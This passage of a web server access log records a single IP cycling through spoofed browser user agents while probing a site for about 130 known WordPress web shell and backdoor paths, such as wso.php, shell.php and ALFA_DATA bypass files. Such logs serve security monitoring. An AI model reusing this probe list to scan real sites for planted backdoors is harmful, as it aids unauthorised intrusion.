"GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:21 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:21 +0300] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:22 +0300] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:22 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 104.243.245.7 - - [10/Feb/2026:13:52:22 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:22 +0300] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:23 +0300] "GET /wp-includes/blocks/calendar/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:23 +0300] "GET /admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:23 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:52:23 +0300] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:24 +0300] "GET /wp-admin/js/instaall.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:24 +0300] "GET /wp-includes/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:24 +0300] "GET /wp-includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:24 +0300] "GET /wp-content/plugins/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:25 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:25 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:25 +0300] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:25 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:26 +0300] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:26 +0300] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:52:26 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:52:26 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:27 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:27 +0300] "GET /wp-admin/css/colors/blue/gold.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:52:27 +0300] "GET /wp-includes/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:27 +0300] "GET /wp-includes/rest-api/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:52:28 +0300] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:28 +0300] "GET /.well-known/wincust.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:28 +0300] "GET /wp-admin/css/colors/light/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:28 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:52:29 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:29 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:29 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:52:29 +0300] "GET /wp-content/themes/twentytwentyfour/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:30 +0300] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:30 +0300] "GET /wp-admin/js/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:30 +0300] "GET /fonts/database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:52:30 +0300] "GET /ff2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:31 +0300] "GET /wp-includes/SimplePie/Exception-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:31 +0300] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:31 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:52:31 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:31 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:32 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:52:32 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:32 +0300] "GET /wp-content/uploads/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:33 +0300] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:33 +0300] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:33 +0300] "GET /js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:33 +0300] "GET /simple/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:34 +0300] "GET /worm.PhP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:34 +0300] "GET /ext.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:52:34 +0300] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:34 +0300] "GET /.well-known/pki-validation/1.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:52:35 +0300] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:35 +0300] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:35 +0300] "GET /.well-known/pki-validation/install.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:35 +0300] "GET /wp-admin/css/colors/sunrise/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:36 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:36 +0300] "GET /plugin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:52:36 +0300] "GET /wp-content/themes/twentytwentyfour/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:36 +0300] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:52:37 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:37 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:52:37 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:37 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:38 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:38 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:38 +0300] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:38 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:39 +0300] "GET /wp-content/uploads/2023/05/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:39 +0300] "GET /wp-admin/maint/maint.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:52:39 +0300] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:39 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:40 +0300] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:40 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:40 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:40 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:40 +0300] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:41 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:41 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:52:41 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:41 +0300] "GET /wp-admin/network/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:42 +0300] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:42 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:42 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:42 +0300] "GET /css/slider.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:52:43 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:43 +0300] "GET /wp-includes/css/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:43 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:52:43 +0300] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:52:44 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:44 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:44 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:52:44 +0300] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:45 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:45 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:45 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:45 +0300] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 104.243.245.7 - - [10/Feb/2026:13:52:46 +0300] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:52:46 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:46 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:52:46 +0300] "GET /firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:47 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:47 +0300] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:52:47 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:52:47 +0300] "GET /images/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:52:48 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:48 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:48 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:52:48 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:52:49 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 